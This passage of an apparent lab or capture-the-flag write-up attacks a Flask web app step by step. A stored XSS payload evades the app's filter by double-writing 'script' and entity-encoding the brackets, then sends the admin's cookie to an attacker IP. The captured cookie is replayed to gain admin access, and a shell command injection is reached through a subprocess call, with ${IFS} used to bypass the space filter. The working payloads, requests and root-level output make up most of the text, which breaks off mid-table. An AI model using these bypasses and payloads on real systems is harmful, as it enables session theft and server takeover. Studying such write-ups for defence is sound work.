&lt;p&gt;The certificate leaked a username, and the app is a lab — try the obvious pair.&lt;br&gt;
&lt;code&gt;zac:zac&lt;/code&gt; works.&lt;/p&gt;

&lt;p&gt;Raw request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/login&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;23&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;

username=zac&amp;amp;password=zac
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.0&lt;/span&gt; &lt;span class="m"&gt;302&lt;/span&gt; &lt;span class="ne"&gt;FOUND&lt;/span&gt;
&lt;span class="na"&gt;Location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/dashboard&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;login=zac_from_paramore&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authenticated as &lt;code&gt;zac&lt;/code&gt; with cookie &lt;code&gt;login=zac_from_paramore&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The dashboard allows a user to store a post (title + subtitle). Only the latest post per&lt;br&gt;
user is rendered in "Your posts", so re-post to update a payload.&lt;/p&gt;


&lt;h2&gt;
  
  
  9. Mapping the XSS filter
&lt;/h2&gt;

&lt;p&gt;Before writing a payload, map the filter with benign probes. The form rejects a request if&lt;br&gt;
the title or subtitle contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a raw &lt;code&gt;&amp;lt;&lt;/code&gt; or &lt;code&gt;&amp;gt;&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;an event handler matching &lt;code&gt;on[a-z]*=&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;a numeric parenthesised expression matching &lt;code&gt;\([0-9]+\)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then it does &lt;strong&gt;one&lt;/strong&gt; &lt;code&gt;.replace('script', '')&lt;/code&gt; and &lt;strong&gt;then&lt;/strong&gt; HTML-unescapes the value.&lt;/p&gt;

&lt;p&gt;The server-side logic (confirmed later in &lt;code&gt;app.py&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subtitle&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;subtitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;subtitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; on[a-z]*=|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;([0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IGNORECASE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; on[a-z]*=|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;([0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subtitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IGNORECASE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nf"&gt;escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;title&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;script&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
  &lt;span class="nf"&gt;escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;subtitle&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;script&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;escape()&lt;/code&gt; is &lt;code&gt;HTMLParser().unescape()&lt;/code&gt; — so entities are decoded &lt;strong&gt;after&lt;/strong&gt; the checks.&lt;br&gt;
That ordering is the bug.&lt;/p&gt;

&lt;p&gt;Practical consequences:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Input&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;rejected (raw &lt;code&gt;&amp;lt;&lt;/code&gt;/&lt;code&gt;&amp;gt;&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;lt;script&amp;amp;gt;...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;passes the check, then decodes to a real tag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;script&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;deleted once&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sscriptcript&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;after one replace → &lt;code&gt;script&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;onerror=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;rejected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;alert(1)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;rejected by &lt;code&gt;\([0-9]+\)&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So: entity-encode the brackets, double the tag word, and avoid parentheses/event handlers.&lt;/p&gt;


&lt;h2&gt;
  
  
  10. Stored XSS → admin cookie
&lt;/h2&gt;

&lt;p&gt;Start a listener on the attacker host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LPORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Payload (entered as the post title or subtitle):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;sscriptcript&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;document.location='http://192.168.176.34:8000/probe?c='+document.cookie&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;/sscriptcript&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the filter:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;syntax checks pass (no raw &lt;code&gt;&amp;lt;&lt;/code&gt;/&lt;code&gt;&amp;gt;&lt;/code&gt;, no &lt;code&gt;on*=&lt;/code&gt;, no &lt;code&gt;(digits)&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.replace('script','')&lt;/code&gt; turns &lt;code&gt;sscriptcript&lt;/code&gt; into &lt;code&gt;script&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;unescape()&lt;/code&gt; turns the entities into &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;the browser receives:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://192.168.176.34:8000/probe?c=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No parentheses and no event handler are needed — &lt;code&gt;document.location = URL + string&lt;/code&gt; is&lt;br&gt;
valid JavaScript.&lt;/p&gt;

&lt;p&gt;The admin bot visited the post roughly every two minutes. Listener log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /probe?c=login%3Dhayley_is_admin
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URL-decoded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;login=hayley_is_admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the administrator session cookie. Save it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'login=hayley_is_admin'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; evidence/admin_cookie.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Admin session and /photos
&lt;/h2&gt;

&lt;p&gt;Replay the stolen cookie against the dashboard:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/dashboard&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;login=hayley_is_admin&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response: &lt;code&gt;200 OK&lt;/code&gt;, page contains &lt;code&gt;Welcome, Hayley&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now enumerate the admin-only surface. &lt;code&gt;/photos&lt;/code&gt; behaves differently by role:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/photos&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;login=zac_from_paramore&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;→ redirect/404.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/photos&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;login=hayley_is_admin&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;→ &lt;code&gt;200 OK&lt;/code&gt;, an upload form that submits &lt;code&gt;?image=&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Save the page for evidence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# response body saved as evidence/photos.html&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Command injection → container root
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;/photos&lt;/code&gt; handler takes &lt;code&gt;image&lt;/code&gt; from the query string. Source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/photos&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;photos&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
    &lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;image&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;hayley_cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dashboard&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;check_output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ls &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cannot access &lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s"&gt;: No such file or directory&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;photos.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;subprocess.check_output('ls ' + image, shell=True)&lt;/code&gt; is the sink. The only filter is&lt;br&gt;
&lt;code&gt;image.replace(' ', '')&lt;/code&gt;, so use &lt;code&gt;${IFS}&lt;/code&gt; wherever a space is needed.&lt;/p&gt;

&lt;p&gt;Probe with &lt;code&gt;id&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/photos?image=%2Fetc%2Fpasswd%3Bid&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.113.167.11:8080&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;login=hayley_is_admin&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page's &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/passwd
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the web app runs as &lt;strong&gt;root inside the container&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The encoding rule for any command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;image &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"/etc/passwd;"&lt;/span&gt; + command.replace&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;, &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;then &lt;/span&gt;URL-encode the whole value
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Useful encoded requests:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;image&lt;/code&gt; value&lt;/th&gt;
&lt;th&gt;URL-encoded&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd;id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%2Fetc%2Fpasswd%3Bid&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat /app/app.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/passwd;cat${IFS}/app/app.py&lt;/code&gt;&lt;/td&gt;
